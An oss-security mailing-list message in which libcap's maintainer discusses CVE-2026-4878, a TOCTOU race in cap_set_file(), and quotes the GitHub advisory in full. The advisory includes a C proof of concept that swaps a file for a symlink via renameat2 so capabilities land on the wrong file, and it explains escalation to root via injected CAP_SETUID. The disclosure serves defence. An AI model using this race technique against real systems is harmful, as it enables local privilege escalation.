On Wed, Apr 8, 2026 at 6:53 PM Solar Designer <[email protected]> wrote:
>
> Hi all,
>
> I think Andrew may not be subscribed - CC'ing.
>
> On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote:
> > Apr 7, 2026 18:54:22 Andrew G. Morgan <[email protected]>:
> > > I've just released libcap-2.78 which includes a fix for a TOCTOU issue
> > > in libcap.
> > >
> > > The issue has been allocated the following code: CVE-2026-4878. It is
> > > the subject of this private bug:
> > > https://bugzilla.redhat.com/show_bug.cgi?id=2447554 and is also
> > > written up in a github.com advisory which I will publish on Wednesday
> > > (this week). The github advisory tool characterizes the issue as
> > > CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 /
> > > 10).
> > >
> > > The fix for pretty much that whole range of libcap releases is this 
> > > commit:
> > >
> > > https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596
> >
> > Hi,
> >
> > the new code suppports changing the file capabilities of all kinds of files 
> > (not just regular)(given that the caller has read permissions).
> > Is that intended?
>
> Andrew, please comment on this.  I do also see it in the patch that the
> S_ISREG check is now below the added fast path code for readable files.
> It doesn't matter that the S_ISLNK check is also below (in fact, it's
> now redundant anyway) due to O_NOFOLLOW, but bypass of the S_ISREG check
> appears to be a functional change.

Not sure I follow. This check is in the cap_set_fd() function itself.

>
> Also, was the fact that cap_set_file() refuses to operate over a symlink
> (for the last pathname component only) documented and expected behavior?
> Maybe not documented, but assumed expected?  The advisory says:

The code has always been intended to avoid operating on a symlink.

https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=df44db730f904c9fb1fdb83ab7f78abe8bd62844

>
> > for example, an administrator running setcap, a CI/CD pipeline setting
> > capabilities on build artifacts, a container runtime configuring
> > binaries, or a package manager post-install script) can exploit the race
> > to redirect file capabilities to their own executable. The attacker
> > never needs elevated privileges; only write access to the directory
> > containing the target path.
>
> While this sounds valid, making changes in an attacker-writable
> directory is inherently dangerous, and I wouldn't see why expectations

I agree.

> for cap_set_file() and setcap would be different than for chmod() and
> chmod, which follow symlinks, if there weren't already this incomplete
> racy attempt of pre-checking for and refusing to operate on symlinks.

But the idea that the code was protecting from symlink following when
it wasn't represents a bug.

>
> > > PS I tried a few times to post to the private openwall list about this
> > > issue 9 days ago, but my email bounced (likely because I couldn't
> > > effectively follow the mail formatting requirements). I might have
> > > realized that the emails were bounced if gmail hadn't silently placed
> > > the bounced replies in my SPAM folder. Sorry about that.
>
> Sorry you had difficulties with that.  I just searched through the logs,
> but could not easily find traces of you trying to send this to the
> linux-distros list.  Can you please forward the bounce to me off-list?
>

Will do.

> As to your oss-security postings presumably flagged by Gmail as spam,
> that is likely due to us breaking DKIM with the addition of the
> [oss-security] prefix and kernel.org having DMARC p=quarantine.  In
> cases like this, a workaround is to pre-add [oss-security] on your end
> (and when you add to the thread, reply to your messages as they arrived
> through the list rather than to your local copies without the prefix).
> Sorry about that as well.
>
> Let's also have the GitHub advisory archived in here:
>
> https://github.com/AndrewGMorgan/libcap_mirror/security/advisories/GHSA-f78v-p5hx-m7hh

Just to be clear, and credit where it is due, the text of this was
authored by Ali Raza.

The markdown source is as follows:

---8<---

Local Privilege Escalation (LPE) via TOCTOU race condition in
cap_set_file() through file capability injection

### Summary

A TOCTOU (Time-of-Check-Time-of-Use) race condition in
`cap_set_file()` allows an unprivileged local attacker to redirect
file capability writes to an arbitrary file, leading to local
privilege escalation. The function validates the target path with
`lstat()` (which does not follow symlinks) but then operates on it
with `setxattr()` (which does follow symlinks). Between these two
calls, an attacker with write access to the parent directory can
atomically swap the regular file for a symlink or a different file via
`renameat2(RENAME_EXCHANGE)`, causing `setxattr()` to write the
`security.capability` xattr to the attacker's chosen file instead of
the intended target.

### Details

The vulnerability is in
[libcap/cap_file.c](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/libcap/cap_file.c),
function 
[`cap_set_file()`](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/libcap/cap_file.c#L320):

```c
int cap_set_file(const char *filename, cap_t cap_d)
{
    struct vfs_ns_cap_data rawvfscap;
    int sizeofcaps;
    struct stat buf;

    // CHECK: lstat does NOT follow symlinks
    if (lstat(filename, &buf) != 0) {
        return -1;
    }
    if (S_ISLNK(buf.st_mode) || !S_ISREG(buf.st_mode)) {
        errno = EINVAL;
        return -1;
    }

    // ... _fcaps_save() computation widens the race window ...

    if (cap_d == NULL) {
        // USE: removexattr FOLLOWS symlinks
        return removexattr(filename, XATTR_NAME_CAPS);
    }

    // USE: setxattr FOLLOWS symlinks
    return setxattr(filename, XATTR_NAME_CAPS, &rawvfscap, sizeofcaps, 0);
}
```

The gap between `lstat()` and `setxattr()` or `removexattr()` creates
a race window. During this window an attacker with write access to the
parent directory can use `renameat2(RENAME_EXCHANGE)` to atomically
swap the legitimate regular file with either a symlink pointing to the
attacker's target or a completely different file. Since `setxattr()`
resolves the path from scratch (following symlinks), it writes the
capability xattr to the wrong file.

The same pattern affects the `removexattr()` path at when `cap_d ==
NULL`, allowing an attacker to strip capabilities from an unintended
file.

For comparison, the fd-based counterpart `cap_set_fd()` is not
vulnerable because it uses `fstat()` + `fsetxattr()` on an
already-opened file descriptor, which pins the inode.

The `setcap` tool
[`progs/setcap.c`](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/progs/setcap.c)
calls `cap_set_file()` directly with a user-supplied path, making it
the primary attack surface.

### PoC

The following self-contained C program deterministically reproduces
the vulnerability by executing the `lstat` → `swap` → `setxattr`
sequence step by step. No race timing is required.

**Requirements:** Linux 3.15+ (for `renameat2`), root or `CAP_SETFCAP`.

**Build and run:**
```
gcc -Wall -O2 -o poc poc.c
sudo ./poc
```

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <sys/syscall.h>

#ifndef SYS_renameat2
#define SYS_renameat2 316
#endif
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif

#define XATTR_NAME_CAPS "security.capability"

/*
 * Minimal VFS_CAP_REVISION_2 xattr granting CAP_NET_RAW=ep.
 *
 * struct vfs_cap_data {
 *   __le32 magic_etc;    // VFS_CAP_REVISION_2 | VFS_CAP_FLAGS_EFFECTIVE
 *   struct { __le32 permitted, inheritable; } data[2];
 * };
 *
 * CAP_NET_RAW = 13 -> bit 13 in data[0].permitted = 0x00002000
 */
static const unsigned char xattr_cap_net_raw[20] = {
    0x01, 0x00, 0x00, 0x02,  /* magic: VFS_CAP_REVISION_2 | EFFECTIVE */
    0x00, 0x20, 0x00, 0x00,  /* data[0].permitted = 1 << 13 */
    0x00, 0x00, 0x00, 0x00,  /* data[0].inheritable = 0 */
    0x00, 0x00, 0x00, 0x00,  /* data[1].permitted = 0 */
    0x00, 0x00, 0x00, 0x00,  /* data[1].inheritable = 0 */
};

static char arena[256], decoy[280], target[280], link_path[280];

static void cleanup(void) {
    removexattr(target, XATTR_NAME_CAPS);
    unlink(decoy); unlink(link_path); unlink(target); rmdir(arena);
}

int main(void)
{
    struct stat st;
    int fd, ret;
    char buf[20];
    ssize_t len;

    if (geteuid() != 0) {
        fprintf(stderr, "Requires root (for setxattr on
security.capability).\n");
        return 1;
    }

    snprintf(arena,     sizeof(arena),     "/tmp/cve_poc_%d", getpid());
    snprintf(decoy,     sizeof(decoy),     "%s/decoy",  arena);
    snprintf(target,    sizeof(target),     "%s/target", arena);
    snprintf(link_path, sizeof(link_path),  "%s/link",   arena);

    atexit(cleanup);
    mkdir(arena, 0755);

    fd = open(decoy, O_CREAT|O_WRONLY|O_TRUNC, 0755); close(fd);
    fd = open(target, O_CREAT|O_WRONLY|O_TRUNC, 0755); close(fd);
    if (symlink(target, link_path) != 0) { perror("symlink"); return 1; }

    printf("cap_set_file() TOCTOU — deterministic proof\n\n");

    /* Step 1: lstat sees a regular file — cap_set_file() check passes */
    lstat(decoy, &st);
    printf("[+] lstat(\"%s\"): S_ISREG=%d S_ISLNK=%d\n",
           decoy, S_ISREG(st.st_mode), S_ISLNK(st.st_mode));
    printf("    cap_set_file() symlink check PASSES\n\n");

    /* Step 2: attacker atomically swaps decoy with symlink */
    ret = syscall(SYS_renameat2, AT_FDCWD, link_path,
                  AT_FDCWD, decoy, RENAME_EXCHANGE);
    if (ret != 0) {
        fprintf(stderr, "renameat2 failed: %s\n", strerror(errno));
        return 1;
    }

    lstat(decoy, &st);
    printf("[+] Attacker swaps (renameat2 RENAME_EXCHANGE):\n");
    printf("    lstat(\"%s\"): S_ISLNK=%d — now a symlink\n\n", decoy,
           S_ISLNK(st.st_mode));

    /* Step 3: setxattr follows the symlink — writes caps to target */
    ret = setxattr(decoy, XATTR_NAME_CAPS,
                   xattr_cap_net_raw, sizeof(xattr_cap_net_raw), 0);
    printf("[+] setxattr(\"%s\", \"security.capability\", ...): %s\n",
           decoy, ret == 0 ? "OK" : strerror(errno));
    printf("    setxattr FOLLOWED the symlink to target\n\n");

    /* Step 4: verify capabilities landed on the target file */
    len = getxattr(target, XATTR_NAME_CAPS, buf, sizeof(buf));
    printf("[+] getxattr(\"%s\"): %zd bytes\n", target, len);

    if (len > 0) {
        printf("\n    BUG CONFIRMED: capabilities written to WRONG file.\n");
        return 0;
    } else {
        printf("\n    Unexpected: xattr not found on target.\n");
        return 1;
    }
}
```

**Expected output:**
```
cap_set_file() TOCTOU — deterministic proof

[+] lstat("/tmp/cve_poc_XXXX/decoy"): S_ISREG=1 S_ISLNK=0
    cap_set_file() symlink check PASSES

[+] Attacker swaps (renameat2 RENAME_EXCHANGE):
    lstat("/tmp/cve_poc_XXXX/decoy"): S_ISLNK=1 — now a symlink

[+] setxattr("/tmp/cve_poc_XXXX/decoy", "security.capability", ...): OK
    setxattr FOLLOWED the symlink to target

[+] getxattr("/tmp/cve_poc_XXXX/target"): 20 bytes

    BUG CONFIRMED: capabilities written to WRONG file.
```

### Impact

This is a local privilege escalation vulnerability (CWE-367).

An unprivileged local attacker who has write access to a directory
where a privileged process calls `cap_set_file()` (for example, an
administrator running `setcap`, a CI/CD pipeline setting capabilities
on build artifacts, a container runtime configuring binaries, or a
package manager post-install script) can exploit the race to redirect
file capabilities to their own executable. The attacker never needs
elevated privileges; only write access to the directory containing the
target path.

By injecting capabilities such as `CAP_SETUID` onto their own binary,
the attacker can then execute it, call `setuid(0)`, and escalate to
root.

The attacker's primitives are:
- **Arbitrary file capability injection**: redirect any
`cap_set_file()` call to write capabilities to an attacker-chosen file
on the same filesystem.
- **Arbitrary file capability removal**: redirect the `removexattr()`
path (when `cap_d == NULL`) to strip capabilities from an unintended
file, enabling defense evasion.

All versions of libcap that include the symlink check in
`cap_set_file()` are believed to be affected. The `setcap` tool
shipped with libcap is the primary real-world attack vector as it
calls `cap_set_file()` directly with a user-supplied path argument.


---8<---

Cheers

Andrew

Reply via email to